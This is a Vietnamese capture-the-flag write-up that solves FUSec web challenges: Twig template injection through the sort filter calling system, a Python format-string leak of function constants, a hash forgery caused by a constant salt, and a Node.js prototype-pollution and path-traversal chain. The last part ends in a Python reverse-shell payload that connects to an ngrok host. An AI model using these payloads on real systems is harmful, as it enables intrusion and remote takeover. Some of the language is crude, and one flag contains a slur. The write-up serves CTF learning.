# WEB CHALLENGES ### Baby Injection Khởi đầu bằng 1 form cho phép chúng ta nhập và in ra kí tự đã nhập đó: ![](https://hackmd.io/_uploads/HyOIDneT3.png) Bài này có lỗi XSS nhưng ta sẽ không đi sâu vào việc khai thác, tiến hành thử payload của SSTI: ```php {{7*7}} //49 {{7*'7'}} //49 //=> Twig Template ``` ![](https://hackmd.io/_uploads/BkDXd2eTn.png) OK, một hồi vọc vạch Payload và đều trả về `500 Error`, thì mình đoán có thể đã dùng filter. Sau khi đọc hintt sử dụng `sort` thì mình cũng tiến hành đưa payload vào, mình sẽ giải thích qua cơ chế một chút: ```php {{ [5,8,2,3]|sort|join(', ') }} // That would output: 2, 3, 5, 8 ``` Đi sâu hơn về [sort filter](https://github.com/twigphp/Twig/blob/5b5aea4690f907cc1055bfe5a66e853a3379ceca/src/Extension/CoreExtension.php#L890) trong Twig: ```php= /** * Sorts an array. * * @param array|\Traversable $array * * @return array */ function twig_sort_filter(Environment $env, $array, $arrow = null) { if ($array instanceof \Traversable) { $array = iterator_to_array($array); } elseif (!\is_array($array)) { throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array))); } if (null !== $arrow) { twig_check_arrow_in_sandbox($env, $arrow, 'sort', 'filter'); uasort($array, $arrow); } else { asort($array); } return $array; } ``` Ở line 19, khi `$arrow !== null` thì sẽ gọi đến hàm uasort. Theo trang PHP Manual: ` uasort(array &$array, callable $callback): true` Gọi đến `callback function` thì ta có thể xem qua ví dụ ở dưới: ![](https://hackmd.io/_uploads/SkVO8Jba2.png) Vì vậy, nếu chúng ta đặt một tên hàm PHP dựng sẵn trong tham số `$arrow`, thì hàm đó cũng sẽ được thực thi và các giá trị mảng được truyền vào dưới dạng đối số! Payload: `{{['ls', '']|sort('system')}}` ![](https://hackmd.io/_uploads/rJtNv1ZTn.png) Đọc file `flag.txt` và có đáp án. Flag: `FUSec{Nic3_B1g_n1GG4_w1ll_Pr0t3ct_y0U}` ### Magic 101 Một trang web check qua và không có gì đặc biệt cả, chúng ta sẽ đi tới phần chính là path `/try`: ![](https://hackmd.io/_uploads/BygqDJ-6n.png) Sau khi điền vào `Title` và `Content`, trang trả về sẽ setup 2 giá trị: ![](https://hackmd.io/_uploads/ByKLoJZa3.png) OK, bài này cũng có XSS nhưng thôi bỏ qua đi :v:. Một bài điên đầu khi test lỗ hổng, sau khi có hint liên quan đến Flask thì test mãi cũng không ra và trả về lỗi: ![](https://hackmd.io/_uploads/r1B9BxWTh.png) May mắn là khi mình test `{self}` thì trả về kết quả: ![](https://hackmd.io/_uploads/Sk458xWpn.png) Test dần dần + xì trét thì ta có: ![](https://hackmd.io/_uploads/rkSgdxWp3.png) OK sau khi thêm hint và tìm thấy [wu](https://ctftime.org/writeup/27904) thì mình có payload cuối: `{self.__init__.__globals__[secret_function].__code__.co_consts}` + `__code__`: truy cập vào thuộc tính của hàm để lấy code object của hàm + `co_consts`: Constants Link thêm: https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes#dissecting-python-objects Flag: `FUSec{Br3h_1mA0_ni3C_g4Ys}` ### EHC Social Networks #### Phase 1 Một bài 'Lồng nhau' do anh `Antoine Nguyễn` ra đề : ![](https://hackmd.io/_uploads/B13e7W-63.png) Để lên level tiếp theo thì ta cần flag level trước. Cùng xem chức năng trước nào: ![](https://hackmd.io/_uploads/S1lVmW-6n.png) Trang web cho phép người dùng nhập tên hiển thị và dòng tweets vào, sau đó dẫn tới trang hiển thị nội dung và tên người nhập: ![](https://hackmd.io/_uploads/SkbDQ-Zan.png) Nghịch 1 chút ở URL khi thay đổi `status` ta sẽ nhận được cảnh báo `wrong hash!` Check source nào: ```javascript= class Tweet { constructor() { this.tweets = []; this.salt = `salt-${crypto.randomBytes(10).toString}`; } makeTweet({ name, thoughts }) { const status = this.tweets.length; // vậy là số lượng status là số lượng tweets đã đăng this.tweets.push(name+' used to say: <br>"'+thoughts+'"'); return { status, hash: this.makeHash(status), }; } retrieveTweet({ status, hash }) { if (hash !== this.makeHash(status)) return { error: 'wrong hash!' }; if (status >= this.tweets.length) return { error: 'no fucking tweet like this!' }; return { tweet_content: this.tweets[status] }; } makeHash(status) { return crypto .createHmac('ripemd160WithRSA', this.salt) .update(status.toString()) .digest('hex'); } } const tw = new Tweet(); tw.makeTweet({ name: "Prime user", thoughts: process.env.FLAG }); app.post('/tweet', (req, res) => { try{ const thoughts = req.body.thoughts ?? ''; const name = req.body.name ?? ''; if (thoughts && name){ const { status, hash } = tw.makeTweet({ name: name.toString() , thoughts: thoughts.toString() }); res.send(`status=${status}&hash=${hash}`); return; } else { res.send('Missing'); return; } } catch (error){ res.send(error); } }); app.get('/get_tweet', (req, res) => { try{ const { status, hash } = req.query; const tweet = tw.retrieveTweet({ status: parseInt(status ?? '-1'), hash: (hash ?? '').toString(), }); if (tweet.error) { res.send(tweet.error); } else { res.send(tweet.tweet_content); } } catch (error){ res.send(error); } }); ``` + Ở line 30-31 ta sẽ thấy khởi tạo tweets đầu tiên => Mục đích đọc được tweets này => Line 51-65 là cách đọc tweets => IDOR + Line 22-26 là cách tạo mã hash => Mục tiêu biết được `this.salt` => Biết được giá trị hash, thay đổi `status` và có được FLAG. OK, vậy lỗ hổng bài này nằm ở đâu ? Nó nằm ở chỗ là chúng ta đã gọi hàm sai cách: `salt-${crypto.randomBytes(10).toString}` : Tham chiếu đến `toString` chứ không gọi hàm `toString()` => Do đó nó sẽ có giá trị salt là như nhau. ![](https://hackmd.io/_uploads/SkDf8-ZT2.png) ![](https://hackmd.io/_uploads/HJgr8WWp3.png) OK, vậy encode `salt` rồi đi tìm giá trị của hash với tweets đầu tiên (`status` = 0) nào: ![](https://hackmd.io/_uploads/SJt28WbT2.png) ![](https://hackmd.io/_uploads/B1V1wW-Th.png) Flag Phase1: `FUSec{tkjs_js_just_pk4s3_0n3_0f_jd0r_dud3}` #### Phase 2: Bài này thì chúng ta có Hint liên quan đến LFI và Prototype Pollution, sau khi đọc cả tài liệu do anh `Atoine Nguyễn` chia sẻ thì mình để ý rằng đoạn code `combine` giống như là phiên bản `merge` cũ: ```javascript= const combine = (sink, source) => { // giống merge phiên bản cũ for (var property in source) { if (typeof sink[property] === 'object' && typeof source[property] === 'object') { combine(sink[property], source[property]); } else { sink[property] = source[property]; } } return sink }; ``` Điểm qua các đoạn code còn lại: ```javascript= app.post('/quote1', function (req, res, next) { try { const prime_token = req.cookies['prime']; if (jwt.verify(prime_token, process.env.JWT_SECRET_KEY)){ const Quote = req.body.list.toString(); const getQuote = require("./static/" + Quote); res.json(getQuote.all()); } else{ return res.status(401).send(error); } } catch (error) { return res.status(401).send(error); } }) ``` Việc không có validate đầu vào cho list, dẫn tới việc chúng ta có thể `require` lib bất kỳ mà ta muốn. Ở đây mình sẽ chú ý vào file `changelog.js` vì các lý do sau: + Bài viết liên quan RCE: https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce#pp2rce-vuln-child_process-functions + Check trong local: ``` $ cd /usr/local/lib/node_modules | grep -r "child_process" ./npm/scripts/changelog.js:const execSync = require('child_process').execSync ``` ```javascript= app.post('/quote2', function (req, res, next) { try { const prime_token = req.cookies['prime']; if (jwt.verify(prime_token, process.env.JWT_SECRET_KEY)){ const Quote1 = require("./static/top-quote-1.js") const Quote2 = require("./static/top-quote-2.js") let superQuote = combine(Quote1.all(), Quote2.all()) let data = req.body.data || ""; //data là thứ kiểm soát được superQuote = combine(superQuote, data); res.json(superQuote); } else{ return res.status(401).send(error); } } catch (error) { return res.status(401).send(error); } }) ``` Việc `combine` các Object được thực hiện 1 cách đệ quy sẽ xảy ra Prototype Pollution: ![](https://hackmd.io/_uploads/H1xHqWWph.png) OK, tiến hành RCE nào. Sau khi thử 1 số payload thì mình sẽ dùng payload này cho `/post2`: (Nhớ đổi `Content-Type`) ``` { "data": { "__proto__": { "2":"; python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"0.tcp.ap.ngrok.io\",17849));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")';" } } } ``` Đến `/quote1` thì ta sẽ điều chỉnh `list`: ` {"list":"../../../../../usr/local/lib/node_modules/npm/scripts/changelog.js"}` ![](https://hackmd.io/_uploads/HywGn-Zah.png) Sau đó, chúng ta nhận được reverse shell, lấy flag thôi: ![](https://hackmd.io/_uploads/B15Zh-b6h.png) Flag Phase2:`FUSec{fr0m_jd0r_t0_pr0t0typ3_p0llutj0n_4nd_lfj_tk3n_rc3_n0d3js}`